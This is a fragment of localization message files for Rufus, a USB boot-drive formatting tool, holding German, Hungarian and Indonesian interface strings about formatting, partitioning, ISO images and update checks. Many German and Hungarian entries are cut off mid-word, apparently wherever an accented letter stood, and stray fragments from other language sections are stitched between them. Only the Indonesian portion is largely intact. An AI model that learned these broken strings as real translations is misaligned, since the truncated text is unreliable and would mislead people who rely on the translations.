t MSG_019 "Aktuelle Version: %d.%d (Build %d)"

t MSG_020 "Byte"

t MSG_026 "Byte"

t MSG_027 "Kilobyte"

t MSG_028 "Megabyte"

t MSG_029 "Standard"

t MSG_030 "%s (Standard)"

t MSG_031 "%s Partitionierungsschema f

r BIOS oder %s"

t MSG_032 "%s Partitionierungsschema f

t MSG_033 "%s Partitionierungsschema f

t MSG_034 "%d Durchgang"

t MSG_035 "%d Durchg

t MSG_036 "ISO-Abbild"

t MSG_037 "Anwendung"

t MSG_038 "Abbruch"

t MSG_041 "Operation vom Benutzer abgebrochen"

t MSG_042 "Fehler"

t MSG_043 "Fehler: %s"

t MSG_044 "Dateidownload"

t MSG_045 "USB Massenspeicherger

t MSG_047 "Mehrere Partitionen"

t MSG_048 "Rufus - Leere Puffer"

t MSG_049 "Rufus - Abbrechen"

t MSG_050 "Erfolg."

t MSG_051 "Unbekannter Fehler w

t MSG_052 "Das gew

t MSG_053 "Der Zugriff auf das Laufwerk wurde verweigert."

t MSG_054 "Der Datentr

t MSG_055 "Das Laufwerk wird von einem anderen Prozess verwendet. "

t MSG_056 "Die Schnellformatierung ist f

t MSG_057 "Die Laufwerksbezeichnung ist ung

t MSG_058 "Das Ger

t MSG_059 "Die ausgew

t MSG_060 "Die Volumen-Gr

t MSG_061 "Bitte legen Sie einen Wechseldatentr

t MSG_062 "Ein nicht unterst

t MSG_063 "Fehler bei der Speicherzuweisung."

t MSG_064 "Lesefehler."

t MSG_065 "Schreibfehler."

t MSG_066 "Installationsfehler"

t MSG_067 "Datentr

t MSG_068 "Fehler beim Partitionieren des Laufwerks."

t MSG_069 "Dateien konnten nicht auf das Ziellaufwerk kopiert werden."

t MSG_070 "Vom Benutzer abgebrochen."

t MSG_071 "Thread konnte nicht gestartet werden."

t MSG_072 "Pr

t MSG_073 "Fehler beim analysieren der ISO-Abbild-Datei."

t MSG_074 "Fehler beim entpacken der ISO-Abbild-Datei."

t MSG_075 "Volume konnte nicht neu angelegt werden."

t MSG_076 "Startf

t MSG_077 "Laufwerksbuchstabe konnte nicht zugewiesen werden."

t MSG_078 "GUID-Laufwerk konnte nicht angelegt werden."

t MSG_079 "Das Laufwerk ist nicht bereit."

t MSG_080 "Rufus hat erkannt, dass Inhalte des Datenpuffer auf das USB-Laufwerk geschrieben werden.\n\n"

e Dateien.\n\nWir empfehlen, dass Sie Windows den Vorgang beenden lassen, um eine Problem zu vermeiden. "

t MSG_081 "Nicht unterst

t MSG_082 "Dieses Abbild ist nicht startf

t MSG_083 "Ersetze %s?"

t MSG_084 "Diese ISO-Abbild-Datei verwendet eine veraltete Version von '%s'.\n"

"'%s' bereits vorhanden ist, wird sie automatisch wiederverwendet."

t MSG_085 "Download %s"

t MSG_086 "Keine Abbild-Datei gew

t MSG_087 "Bitte klicken das auf das Disk-Symbol um eine startf

t MSG_088 "Abbild ist zu gro

t MSG_089 "Dieses Abbild ist zu gro

t MSG_090 "ISO-Abbild nicht unterst

t MSG_091 "Wenn UEFI als Typ des Zielsystems gew

t MSG_092 "Nicht unterst

t MSG_093 "ACHTUNG! DIESES LAUFWERK VERF

glicherweise Partitionen, die unter Windows nicht sicht- bzw. nutzbar sind."

t MSG_094 "Mehrere Partitionen erkannt"

t MSG_095 "DD Abbild"

t MSG_096 "Das aktuell gew

t MSG_097 "F

r '%s' muss NTFS als Dateisystem verwendet werden."

t MSG_098 "WICHTIG: Sie versuchen 'Windows To Go' zu installieren, aber das Ziel-Laufwerk hat nicht "

"das 'FIXED'-Attribut. Deswegen wird Windows beim Systemstart h

t MSG_099 "Dateisystembeschr

t MSG_100 "Diese ISO-Abbild-Datei enth

t MSG_101 "Fehlende WIM-Unterst

t MSG_102 "Ihre Plattform kann keine Dateien aus WIM-Containern extrahieren. WIM-Extraktion "

hige Windows 7 und Windows Vista USB-Laufwerke zu erzeugen. Sie k

t MSG_104 "%s oder neuer erfordert, dass eine '%s' installiert ist.\n"

er als 100 kB ist, und in %s ISO-Abbildern immer enthalten ist, "

t MSG_105 "Durch einen Abbruch wird das Ger

t MSG_106 "Ordner w

t MSG_107 "Alle Dateien"

t MSG_108 "Rufus Log"

t MSG_110 "MS-DOS kann nicht von einem Laufwerk starten, das 64 Kilobyte gro

t MSG_111 "Inkompatible Zuordnungseinheitengr

t MSG_112 "Gro

t MSG_113 "Gro

t MSG_114 "Dieses Abbild benutzt Syslinux %s%s, aber diese Anwendung verf

r Syslinux %s%s.\n\n"

ssen vom Internet heruntergeladen werden ('ldlinux.sys' and 'ldlinux.bss'):\n"

t MSG_115 "Download erforderlich"

t MSG_116 "Dieses Abbild verwendet Grub %s, aber die Anwendung beinhaltet nur Installations-Dateien f

"Grub %s.\n\nWeil verschiedene Versionen von Grub nicht untereinander kompatibel sind, und es nicht "

"('core.img') von Grub zu finden, die zur Version im Abbild passt:\n"

t MSG_150 "Normalerweise die beste Wahl. Wenn Sie einen UEFI-Computer haben und das Betriebssystem "

t MSG_151 "Verwenden Sie diese Einstellung, um das Betriebssystem im EFI-Modus zu installieren und "

"USB-Zugriff unter Windows XP zu haben"

t MSG_152 "Die bevorzugte Einstellung, um das Betriebssystem im EFI-Modus zu installieren und "

"wenn kein USB-Zugriff unter Windows XP erforderlich ist"

t MSG_153 "Pr

fmuster: 0xX"

t MSG_154 "Pr

fmuster: 0xX, 0xX"

t MSG_155 "Pr

fmuster: 0xX, 0xX, 0xX"

t MSG_156 "Pr

fmuster: 0xX, 0xX, 0xX, 0xX"

t MSG_157 "Zieldateisystem ausw

t MSG_158 "Kleinste Gr

t MSG_159 "Geben Sie hier die Datentr

t MSG_160 "Erweiterte Optionen ein- bzw. ausblenden"

t MSG_161 "Das Laufwerk mittels eines Musters auf fehlerhafte Bl

t MSG_162 "Wenn nicht aktiviert, wird die \"langsame\" Formatierung verwendet"

t MSG_163 "Aktivieren, um das Laufwerk startf

t MSG_164 "Methode, um das Laufwerk startf

t MSG_165 "W

t MSG_166 "W

tesymbol zu erzeugen (Datei autorun.inf)"

t MSG_167 "Erzeugt einen MBR, der eine Bootmen

t MSG_168 "Das erste startf

"Das sollte nur notwendig sein, wenn Sie Windows XP instllieren und mehr als ein Festplatte haben."

t MSG_169 "Eine extra Partition erzeugen und die Partitionsgrenzen ausrichten.\n"

t MSG_170 "Erkennung von USB-Festplatten Geh

t MSG_171 "Formatierung starten.\nAlle Daten auf dem Ziellaufwerk werden GEL

t MSG_172 "Lizenzinformationen und Mitwirkende"

t MSG_173 "Klicken Sie, um auszuw

t MSG_174 "Rufus - Das zuverl

t MSG_176 "Deutsche

t MSG_177 "Fehler und Anforderungen an:"

t MSG_178 "Weitere Copyrights:"

t MSG_179 "Aktualisierungseinstellungen:"

t MSG_180 "Wenn Sie die Pr

t MSG_181 "Ihre Betriebssystem-Architektur und -Version"

t MSG_182 "Die Version der Anwendung, die Sie einsetzen"

t MSG_183 "Ihre IP-Adresse"

t MSG_184 "Zum privaten Statistikzwecken speichern wir diese Informationen "

t MSG_185 "Update-Vorgang:"

t MSG_186 "Rufus verwendet keine Hintergrundprozesse, deshalb wird nur auf Updates gepr

t MSG_187 "Abbild-Datei f

hlte Boot-Option nicht passend"

t MSG_188 "Die derzeitige Abbild-Datei passt nicht zur gew

t MSG_189 "Dieses ISO-Abbild ist mit dem gew

t MSG_190 "inkompatibles Laufwerk erkannt"

t MSG_191 "Schreiben durchgef

t MSG_192 "Lesen durchgef

t MSG_193 "%s heruntergeladen"

t MSG_194 "%s konnte nicht heruntergeladen werden"

t MSG_195 "Verwende embedded Version der %s Datei(en)"

t MSG_196 "WICHTIG: DIESES LAUFWERK HAT EINE NICHT STANDARDKONFORME SEKTORGR

e, aber dieses Laufwerk nutzt %d-Byte. "

t MSG_197 "Nicht standardkonforme Sektorgr

t MSG_198 "'Windows To Go' kann nur auf ein GPT-partitioniertes Laufwerk installiert werden, wenn das FIXED-Attribut gesetzt ist. Das aktuelle Laufwerk hat diese nicht."

t MSG_199 "W

hlen Sie dies, wenn Sie planen Windows auf eines anderes Laufwerk zu installieren."

t MSG_200 "W

hlen Sie dies, wenn Sie Windows direkt vom gew

t MSG_201 "Abbrechen - Bitte warten..."

t MSG_202 "Lese Abbild-Datei..."

t MSG_203 "Fehler beim Lesen der Abbild-Datei"

ssige %s erkannt"

t MSG_205 "Verwende Abbild: %s"

t MSG_206 "Fehlende %s Datei"

t MSG_207 "Neues Volume"

t MSG_208 "%d Laufwerk gefunden"

t MSG_209 "%d Laufwerke gefunden"

t MSG_210 "FERTIG"

t MSG_211 "Abgebrochen"

t MSG_212 "FEHLGESCHLAGEN"

t MSG_213 "Starte Anwendung neu..."

t MSG_214 "Fehler beim Anwendungsneustart"

t MSG_215 "Ge

ffnet %s"

t MSG_216 "Gespeichert %s"

t MSG_217 "Formatieren: %0.1f%% erledigt"

t MSG_218 "Dateisystem erzeugen: Aufgabe %d/%d abgeschlossen"

t MSG_219 "NTFS Fixup: %d%% erledigt"

t MSG_220 "Formatiere (%s) - gesch

tzte Dauer %d:d..."

t MSG_221 "Setzte Bezeichnung (kann etwas dauern)..."

t MSG_222 "Formatiere (%s)..."

t MSG_225 "Laufwerkszugriff angefordert..."

t MSG_226 "Vorhandene Boot-Datens

t MSG_227 "Vorhandenes Volume schlie

t MSG_228 "Master Boot Record schreiben..."

t MSG_229 "Schreibe Partitions Boot Record.."

t MSG_230 "Kopiere DOS-Dateien..."

t MSG_231 "Kopiere ISO-Dateien..."

t MSG_232 "Win7 EFI Boot setup (kann etwas dauern)..."

t MSG_233 "Abschlie

t MSG_234 "Installiere Syslinux %s..."

t MSG_235 "Fehlerhafte Bl

cke: %s %d/%d - %0.2f%% (%d/%d/%d Fehler)"

t MSG_236 "Fehlerhafte Bl

t MSG_237 "Fehlerhafte Bl

fe mit Muster 0xX"

t MSG_238 "Partitioniere (%s)..."

t MSG_239 "L

t MSG_240 "Download %s: Verbinde..."

t MSG_241 "Download: %0.1f%%"

t MSG_242 "Fehler beim Dateidownload."

t MSG_243 "Pr

t MSG_244 "Update: Keine Verbindung zum Internet"

t MSG_245 "Update: Versionsinformationen k

t MSG_246 "Eine neue Version von Rufus ist verf

t MSG_247 "Keine neue Version von Rufus wurde gefunden"

t MSG_248 "Anwendungseinst. in der Registrierdatenbank gel

t MSG_249 "Fehler beim L

t MSG_250 "%s aktiviert"

t MSG_251 "%s deaktiviert"

t MSG_252 "Gr

t MSG_253 "Festplattenerkennung"

t MSG_254 "Gro

t MSG_255 "NoDriveTypeAutorun wird beim Beenden gel

t MSG_256 "Gef

t MSG_257 "Joliet-Unterst

t MSG_258 "Rock Ridge-Unterst

t MSG_259 "Update erzwingen"

t MSG_260 "NTFS-Komprimierung"

t MSG_261 "Schreibe Abbild-Datei: %0.1f%% fertiggestellt"

t MSG_262 "ISO-Unterst

t MSG_263 "Verwenden Sie korrekten Gr

t MSG_264 "L

sche Ordner '%s'"

t MSG_265 "VMWare-Laufwerks-Erkennung"

t MSG_266 "Dual UEFI/BIOS-Modus"

t MSG_267 "Spiele Windows-Abbild auf: %0.1f%% fertiggestellt"

t MSG_268 "Windows-Abbild aufspielen..."

t MSG_269 "Zeitstempel bewahren"

t MSG_270 "USB Testmodus"

t MSG_271 "Berechne Abbild-Pr

t MSG_272 "Berechne MD5-, SHA1- und SHA256-Pr

t MSG_273 "Sprache der Anwendung

t MSG_274 "Hybrides ISO-Abbild erkannt"

t MSG_275 "Das gew

"%s (Dateikopier-) oder %s (Abbild-) Modus kopiert werden.\n"

"Rufus empfiehlt den %s Modus, denn dann haben Sie nach dem Schreiben vollen Zugriff auf das Laufwerk.\n"

nnen Sie den %s Modus versuchen.\n\n"

t MSG_276 "Im %s Modus schreiben (empfohlen)"

t MSG_277 "Im %s Modus schreiben"

t MSG_278 "Startart"

t MSG_279 "Nicht startf

t MSG_280 "Abbildauswahl"

t MSG_281 "(Bitte w

t MSG_282 "Exclusive Sperre f

t MSG_283 "Ung

t MSG_284 "Die heruntergeladene ausf

t MSG_285 "Die heruntergeladene ausf

hrbare Datei ist von '%s' signiert.\nDiese Signatur ist nicht akzeptiert und k

m IDC_NBPASSES  149,0

s IDC_NBPASSES  7,0

t IDC_WINDOWS_TO_GO "Windows To Go (USB

\n %d

t MSG_036 "

t MSG_048 "Rufus - Flushing

t MSG_095 "

t MSG_097 "

'Windows To Go',

'Windows To Go'

"Windows 7

Windows Vista

t MSG_104 "

t MSG_110 "

%d:d.

t MSG_113 "M

"Syslinux %s%s.\n\n

'ldlinux.bss'): \n"

"Grub %s.\n\n

Grub ('core.img')

Windows XP."

:\\line Konstantinos Margaritis <mailto:kotsos.marga@gmail.com> \\line Nikolaos Margaritis <mailto:marga.nikos@gmail.com>"

%d-byte."

NTFS: %d%%

(%s) -

t MSG_250 "%s :

t MSG_251 "%s :

Windows: %0.1f%%

Windows..."

%s.\n

MSG_285 "

t IDC_WINDOWS_INSTALL "Alap Windows telep

t IDC_WEBSITE "Kattints ide a weboldalhoz"

t MSG_001 "M

t MSG_002 "Egy Rufus program m

t MSG_003 "FIGYELEM: MINDEN ADAT A(Z) '%s' NEV

t MSG_004 "Rufus friss

t MSG_005 "Enged

t MSG_006 "Bez

t MSG_007 "M

t MSG_008 "Igen"

t MSG_009 "Nem"

t MSG_010 "Hib

t MSG_011 "Ellen

s befejezve: %d hib

" %d olvas

si hiba,\n %d

si hiba\n %d

t MSG_012 "%s\nEgy r

t MSG_013 "Letiltva"

t MSG_014 "Naponta"

t MSG_015 "Hetente"

t MSG_016 "Havonta"

t MSG_017 "Egy

t MSG_018 "A Te verzi

d: %d.%d (%d)"

t MSG_019 "A legfrissebb verzi

: %d.%d (%d)"

t MSG_020 "b

t MSG_026 "b

t MSG_027 "kilob

t MSG_028 "megab

t MSG_029 "Alap

t MSG_030 "%s (Alap)"

t MSG_031 "%s part

ma BIOS-os vagy %s-s g

t MSG_032 "%s part

t MSG_033 "%s part

t MSG_034 "%d vizsg

t MSG_035 "%d vizsg

t MSG_036 "ISO k

t MSG_037 "Alkalmaz

t MSG_038 "Megszak

t MSG_039 "Ind

t MSG_040 "Let

t MSG_041 "A folyamat a felhaszn

t MSG_042 "Hiba"

t MSG_043 "Hiba: %s"

t MSG_044 "F

t MSG_045 "USB t

t MSG_046 "%s (Lemez: %d) [%s]"

t MSG_047 "T

t MSG_048 "Rufus - Pufferek ki

t MSG_049 "Rufus - Megszak

t MSG_050 "Siker!"

t MSG_051 "Ismeretlen hiba form

t MSG_052 "A kiv

t MSG_053 "Az eszk

t MSG_054 "Az adathordoz

t MSG_055 "Az eszk

t MSG_056 "A gyors form

t MSG_057 "A cimke

t MSG_058 "Az eszk

t MSG_059 "A kiv

t MSG_060 "A k

t MSG_061 "K

t MSG_062 "Egy nem t

t MSG_063 "Mem

t MSG_064 "Olvas

t MSG_066 "Telep

t MSG_067 "Nem nyithat

t MSG_068 "Az eszk

t MSG_069 "Nem siker

t MSG_070 "A felhaszn

t MSG_071 "Nem lehet elind

t MSG_072 "A hib

t MSG_073 "ISO k

t MSG_074 "ISO k

t MSG_075 "A k

t MSG_076 "Nem lehet a f

t MSG_077 "Nem siker

t MSG_078 "Nem lehet GUID k

t MSG_079 "Az eszk

t MSG_080 "A Rufus

szlelte, hogy a Windows m

ben hagyd, hogy a Windows befejezze az

t MSG_081 "Nem t

t MSG_082 "Ez a k

t MSG_083 "Fel

rod ezt: %s?"

t MSG_084 "Ez az ISO f

leg a(z) '%s' elavult verzi

t MSG_085 "Let

s: %s"

t MSG_086 "Nincs ISO f

t MSG_087 "K

t MSG_088 "Az ISO f

t MSG_089 "Az ISO f

t MSG_090 "Nem t

t MSG_091 "UEFI t

t MSG_092 "Nem t

t MSG_093 "FONTOS: EZ AZ ESZK

Windows al

t MSG_094 "T

t MSG_095 "DD k

t MSG_096 "A jelenleg kiv

t MSG_097 "A '%s' csak NTFS f

t MSG_098 "FONTOS: 'Windows To Go'-t pr

. Emiatt a Windows bootol

t MSG_099 "F

t MSG_100 "Ez az ISO k

t MSG_101 "Hi

t MSG_102 "A rendszered nem k

s Windows Vista USB eszk

t MSG_103 "Let

d ezt: %s?"

t MSG_104 "%s vagy

ges a(z) '%s' f

s mindig szerepel a(z) %s ISO k

"'%s' nev

t MSG_105 "A megszak

t MSG_106 "K

t MSG_107 "Minden f

t MSG_109 "0xX (Lemez: %d)"

t MSG_110 "Az MS-DOS nem tud bootolni 64 kilob

t MSG_111 "Nem kompatibilis Klaszter m

t MSG_112 "Nagy UDF k

lt ideje %d:d,

t MSG_113 "Nagy UDF k

t MSG_114 "Ez a k

jl Syslinux %s%s-t haszn

s csak a Syslinux %s%s telep

l ('ldlinux.sys'

s 'ldlinux.bss'):\n"

t MSG_115 "Let

t MSG_116 "Ez a k

jl Grub %s-t haszn

s csak a Grub %s telep

l ('core.img'), ami egyezik a k

t MSG_151 "Haszn

"Windows XP al

t MSG_152 "Ez a javasolt opci

t MSG_153 "Teszt param

ter: 0xX"

t MSG_154 "Teszt param

ter: 0xX, 0xX"

t MSG_155 "Teszt param

ter: 0xX, 0xX, 0xX"

t MSG_156 "Teszt param

ter: 0xX, 0xX, 0xX, 0xX"

t MSG_157 "Az eszk

t MSG_158 "Az adatblokkok legkisebb m

t MSG_159 "Haszn

t MSG_160 "Halad

t MSG_161 "Hib

t MSG_162 "Vedd ki innen a pip

t MSG_163 "Pip

t MSG_164 "Ezt fogjuk haszn

t MSG_165 "Kattints egy ISO kiv

t MSG_166 "Pip

hoz (egy autorun.inf f

t MSG_167 "Olyan MBR telep

t MSG_168 "Pr

ges, ha Windows XP-t telep

t MSG_169 "K

t MSG_170 "USB-s merevlemezek list

t MSG_171 "A form

t MSG_172 "Licensszel kapcsolatos inform

t MSG_173 "Kattints a kiv

t MSG_174 "Rufus - A megb

t MSG_175 "Verzi

t MSG_176 "Magyar ford

s:\\tab [HUN]DeadMan <mailto:familyguyfan79@gmail.com>\\line"

bor <mailto:gabor.csizmadia@hotmail.hu>"

t MSG_177 "Hib

t MSG_178 "Tov

t MSG_179 "Friss

t MSG_180 "Ha enged

t MSG_181 "Az oper

t MSG_182 "A program verzi

t MSG_183 "Az IP c

t MSG_184 "Haszn

t MSG_185 "Friss

t MSG_186 "A Rufus nem telep

t MSG_188 "A jelenlegi k

jl nem passzol a kiv

t MSG_189 "Ez az ISO k

t MSG_190 "Inkompatibilis meghajt

t MSG_191 "Sikeres

t MSG_192 "Sikeres olvas

t MSG_193 "Let

ltve: %s"

t MSG_194 "Nem siker

lteni: %s"

t MSG_195 "A(z) %s f

t MSG_196 "FONTOS: EZ AZ ESZK

rete %d b

t MSG_197 "'Nem szabv

t MSG_198 "'Windows To Go' csak akkor telep

laszd ezt, ha a Windows-t egy m

laszd ezt, ha a Windows-t k

t MSG_201 "Megszak

t MSG_202 "K

t MSG_203 "Nem siker

t MSG_204 "Elavult %s

lata: %s"

t MSG_206 "Hi

jl: %s"

t MSG_208 "%d eszk

t MSG_209 "%d eszk

t MSG_210 "K

t MSG_211 "Megszak

t MSG_212 "Sikertelen"

t MSG_213 "Az

t MSG_214 "Nem siker

t MSG_215 "Megnyitva: %s"

t MSG_216 "Mentve: %s"

t MSG_218 "F

se: %d/%d feladat k

t MSG_219 "NTFS Fixup: %d%% k

s (%s) - becs

t MSG_221 "C

s (%s)..."

t MSG_224 "MBR/PBR/GPT strukt

t MSG_225 "Lemez hozz

t MSG_226 "Boot rekordok vizsg

t MSG_227 "L

t MSG_228 "MBR

t MSG_229 "Part

t MSG_230 "DOS f

t MSG_231 "ISO f

t MSG_232 "Win7 EFI boot telep

t MSG_233 "V

t MSG_234 "Syslinux %s telep

t MSG_235 "Hib

s blokkok: %s %d/%d - %0.2f%% (%d/%d/%d hiba)"

t MSG_236 "Hib

t MSG_237 "Hib

s 0xX mint

t MSG_238 "Particion

t MSG_239 "Part

t MSG_240 "Let

s %s: Kapcsol

t MSG_241 "Let

t MSG_242 "A f

t MSG_243 "Rufus friss

t MSG_244 "Friss

t MSG_245 "Friss

t MSG_246 "El

t MSG_247 "Nem tal

t MSG_248 "A program regiszt

t MSG_249 "Nem siker

t MSG_250 "%s enged

t MSG_251 "%s letiltva"

t MSG_252 "M

t MSG_253 "Merevlemezek

t MSG_254 "FAT32 form

t MSG_255 "NoDriveTypeAutorun t

t MSG_256 "Hamis eszk

t MSG_257 "Joliet t

t MSG_258 "Rock Ridge t

t MSG_259 "Friss

t MSG_260 "NTFS t

t MSG_261 "K

t MSG_262 "ISO t

t MSG_263 "MEGFELEL

t MSG_264 "Mappa t

se: '%s'"

t MSG_265 "VMware lemez

t MSG_266 "Du

t MSG_267 "Windows k

t MSG_268 "Windows k

t MSG_269 "Id

t MSG_270 "USB hibakeres

t MSG_271 "K

t MSG_272 "MD5, SHA1

t MSG_273 "Alkalmaz

t MSG_274 "ISOHybrid k

t MSG_275 "A kiv

"%s (f

dban vagy %s (lemezk

"A Rufus a(z) %s m

rni %s m

s %s m

t MSG_278 "Boot t

t MSG_279 "Nem bootolhat

t MSG_280 "K

t MSG_281 "(K

t MSG_282 "Kiz

t MSG_284 "A let

t MSG_285 "A let

jlt '%s'

t MSG_286 "Meghajt

m IDC_NBPASSES  64,0

s IDC_NBPASSES -4,0

t IDC_WINDOWS_INSTALL "Instalasi Windows standar"

t IDC_WEBSITE "Klik disini untuk pergi ke situs web"

t MSG_001 "Rufus lain terdeteksi"

t MSG_002 "Aplikasi Rufus lain sedang berjalan.\n"

t MSG_003 "PERINGATAN: SEMUA DATA PADA PERANGKAT '%s' AKAN DIHAPUS.\n"

"Untuk melanjutkan operasi ini, klik OKE. Untuk keluar klik BATAL."

t MSG_004 "Ketentuan pembaruan Rufus"

t MSG_005 "Apakah Anda ingin mengizinkan Rufus memeriksa pembaruan aplikasi secara online?"

t MSG_006 "Tutup"

t MSG_007 "Batal"

t MSG_008 "Ya"

t MSG_009 "Tidak"

t MSG_010 "Blok buruk ditemukan"

t MSG_011 "Pemeriksaan selesai: %d blok buruk ditemukan\n"

" %d kesalahan baca\n %d kesalahan tulis\n %d kesalahan korupsi\n"

t MSG_012 "%s\nLaporan lebih lengkap dapat ditemukan di:\n%s"

t MSG_013 "Dinonaktifkan"

t MSG_014 "Harian"

t MSG_015 "Mingguan"

t MSG_016 "Bulanan"

t MSG_017 "Kostum"

t MSG_018 "Versi Anda: %d.%d (Build %d)"

t MSG_019 "Versi terbaru: %d.%d (Build %d)"

t MSG_029 "Standar"

t MSG_030 "%s (Standar)"

t MSG_031 "Skema partisi %s untuk BIOS atau %s"

t MSG_032 "Skema partisi %s untuk BIOS"

t MSG_033 "Skema partisi %s untuk UEFI"

t MSG_037 "Aplikasi"

t MSG_038 "Batal"

t MSG_039 "Luncurkan"

t MSG_040 "Unduh"

t MSG_041 "Operasi dibatalkan oleh pengguna"

t MSG_042 "Kesalahan"

t MSG_043 "Kesalahan: %s"

t MSG_044 "Unduh berkas"

t MSG_045 "Perangkat Penyimpanan USB (Generic)"

t MSG_047 "Banyak Partisi"

t MSG_049 "Rufus - Pembatalan"

t MSG_050 "Sukses."

t MSG_051 "Kesalahan tidak diketahui saat memformat."

t MSG_052 "Tidak dapat menggunakan sistem berkas terpilih untuk media ini."

t MSG_053 "Akses ke perangkat ditolak."

t MSG_054 "Media terlindungi penulisan."

t MSG_055 "Perangkat ini sedang digunakan oleh proses lain. "

t MSG_056 "Format cepat tidak tersedia bagi perangkat ini."

t MSG_057 "Label volume tidak sah."

t MSG_058 "Perangkat tidak sah."

t MSG_059 "Ukuran klaster terpilih tidak sah untuk perangkat ini."

t MSG_060 "Ukuran volume tidak sah."

t MSG_061 "Silakan sisipkan media kedalam perangkat."

t MSG_062 "Perintah tidak didukung."

t MSG_063 "Kesalahan pengalokasian memori."

t MSG_064 "Kesalahan baca."

t MSG_065 "Kesalahan tulis."

t MSG_066 "Instalasi gagal"

t MSG_067 "Tidak dapat membuka media. Media mungkin sedang digunakan oleh proses lain. "

t MSG_068 "Kesalahan saat mempartisi perangkat."

t MSG_069 "Tidak dapat menyalin berkas ke perangkat tujuan."

t MSG_070 "Dibatalkan oleh pengguna."

t MSG_071 "Tidak dapat memulai thread."

t MSG_072 "Pemeriksaan blok buruk tidak selesai."

t MSG_073 "Pemindaian ISO image gagal."

t MSG_074 "Mengekstrak ISO image gagal."

t MSG_075 "Tidak dapat me-mount ulang volume."

t MSG_076 "Tidak dapat menambal/berkas setelan untuk boot."

t MSG_077 "Tidak dapat menetapkan huruf perangkat."

t MSG_078 "Tidak dapat me-mount volume GUID."

t MSG_079 "Perangkat tidak siap."

t MSG_080 "Rufus mendeteksi bahwa Windows masih mem-buffer ke perangkat USB.\n\n"

"Tergantung pada kecepatan perangkat USB Anda , operasi ini mungkin memakan waktu lama untuk selesai, "

"terutama untuk file besar.\n\nKami menyarankan Anda membiarkan Windows selesai, untuk menghindari kerusakan. "

t MSG_081 "Image tidak didukung"

t MSG_082 "Image ini kemungkinan non-bootable, atau menggunakan metode boot atau kompresi yang tidak didukung oleh Rufus..."

t MSG_083 "Ganti %s?"

t MSG_084 "ISO image ini tampaknya menggunakan versi lawas dari '%s'.\n"

"'%s' sudah ada disana, berkas tersebut akan digunakan kembali secara otomatis."

t MSG_085 "Mengunduh %s"

t MSG_086 "Tidak ada image terpilih"

t MSG_087 "Silakan pilih pada tombol disc untuk memilih image bootable, "

t MSG_088 "Image terlalu besar"

t MSG_089 "Image terlalu besar untuk Target yang dipilih."

t MSG_090 "ISO tidak didukung"

t MSG_091 "Ketika menggunakan Tipe Target UEFI, hanya ISO images bootable EFI yang didukung. "

t MSG_092 "Sistem berkas tidak didukung"

t MSG_093 "PENTING: PERANGKAT INI BERISI BANYAK PARTISI!!\n\n"

"Perangkat ini berisi partisi/volume yang tidak tercantum atau bahkan terlihat dari Windows. "

t MSG_094 "Banyak partisi terdeteksi"

t MSG_096 "Sistem berkas yang saat ini dipilih tidak dapat digunakan dengan tipe ISO ini. "

t MSG_097 "'%s' hanya dapat diterapkan jika sistem berkas NTFS."

t MSG_098 "PENTING: Anda mencoba untuk menginstal 'Windows To Go', namun perangkat target tidak "

"memiliki atribut 'FIXED'. Windows ini kemungkinan akan berhenti saat boot, "

t MSG_099 "Batasan sistem berkas"

t MSG_100 "Image ISO ini berisi berkas yang lebih besar dari 4GB, yang lebih dari ukuran maksimal "

t MSG_101 "Dukungan WIM hilang"

t MSG_102 "Platform Anda tidak dapat mengekstrak berkas dari arsip WIM. Pengektrakan WIM "

"diperlukan untuk membuat bootable EFI Windows 7 dan Windows Vista di perangkat USB. Anda dapat memperbaikinya "

t MSG_103 "Unduh %s?"

t MSG_104 "%s atau yang lebih baru memerlukan berkas '%s' untuk diinstal.\n"

"Karena berkas ini berukuran lebih dari 100 KB, dan selalu ada pada ISO images %s, "

"berkas '%s' sudah ada disana, berkas ini akan digunakan kembali secara otomatis.\n"

t MSG_105 "Membatalkan dapat menyebabkan perangkat TIDAK DAPAT DIGUNAKAN.\n"

t MSG_106 "Silakan pilih folder"

t MSG_107 "Semua berkas"

t MSG_110 "MS-DOS tidak dapat boot dari perangkat yang menggunakan ukuran Klaster 64 kilobyte.\n"

t MSG_111 "Ukuran Klaster tidak kompatibel"

t MSG_112 "Memformat volume UDF yang besar memerlukan waktu lama. Di kecepatan USB 2.0, perkiraan durasi memformat sekitar "

"%d:d, selama berlangsung bilah kemajuan akan tampak berhenti. Harap bersabar!"

t MSG_113 "Volume UDF besar"

t MSG_114 "Image ini menggunakan Syslinux %s%s namun aplikasi ini hanya menyertakan berkas instalasi untuk "

"Syslinux %s%s.\n\nKarena versi baru Syslinux tidak kompatibel satu dengan lainnya, dan tidak mungkin "

"Internet ('ldlinux.sys' dan 'ldlinux.bss'):\n"

"- Pilih 'Tidak' untuk membatalkan operasi\n\n"

t MSG_115 "Unduh diperlukan"

t MSG_116 "Image ini menggunakan Grub %s namun aplikasi ini hanya menyertakan berkas instalasi untuk "

"Grub %s.\n\nKarena versi baru Grub tidak kompatibel satu dengan lainnya, dan tidak mungkin "

"('core.img') yang sesuai dengan image Anda:\n"

"- Pilih 'Batal' untuk membatalkan operasi\n\n"

t MSG_150 "Umumnya merupakan pilihan teraman. Namun, jika Anda memiliki komputer UEFI dan ingin menginstal "

"sebuah Sistem Operasi di modus EFI murni, Anda harus memilih salah satu opsi lain"

t MSG_151 "Gunakan ini jika Anda ingin menginstal Sistem Operasi di modus EFI murni, namun perlu mengakses "

"isi USB dari Windows XP"

t MSG_152 "Pilihan yang paling disukai untuk menginstal Sistem Operasi di modus EFI murni, ketika akses USB "

"tidak diperlukan dari Windows XP"

t MSG_153 "Tes pola: 0xX"

t MSG_154 "Tes pola: 0xX, 0xX"

t MSG_155 "Tes pola: 0xX, 0xX, 0xX"

t MSG_156 "Tes pola: 0xX, 0xX, 0xX, 0xX"

t MSG_157 "Atur sistem berkas target"

t MSG_158 "Ukuran minimal blok data yang akan menempati sistem berkas"

t MSG_159 "Gunakan bidang ini untuk menyetel karakter Internasional yang diperbolehkan\npada label perangkat"

t MSG_160 "Tombol untuk opsi lanjutan"

t MSG_161 "Periksa blok buruk pada perangkat menggunakan tes pola"

t MSG_162 "Hapus centang kotak ini untuk menggunakan metode format \"lambat\""

t MSG_163 "Centang kotak ini untuk membuat perangkat USB bootable"

t MSG_164 "Metode yang akan digunakan untuk membuat perangkat bootable"

t MSG_165 "Klik untuk memilih sebuah image..."

t MSG_166 "Centang kotak ini untuk menampilkan label internasional "

"dan menyetel ikon perangkat (membuat autorun.inf)"

t MSG_167 "Menginstal MBR memungkinkan untuk boot dan dapat memanipulasi ID perangkat USB di BIOS"

t MSG_168 "Mencoba memanipulasi perangkat USB bootable (biasanya 0x80) sebagai disk yang berbeda.\n"

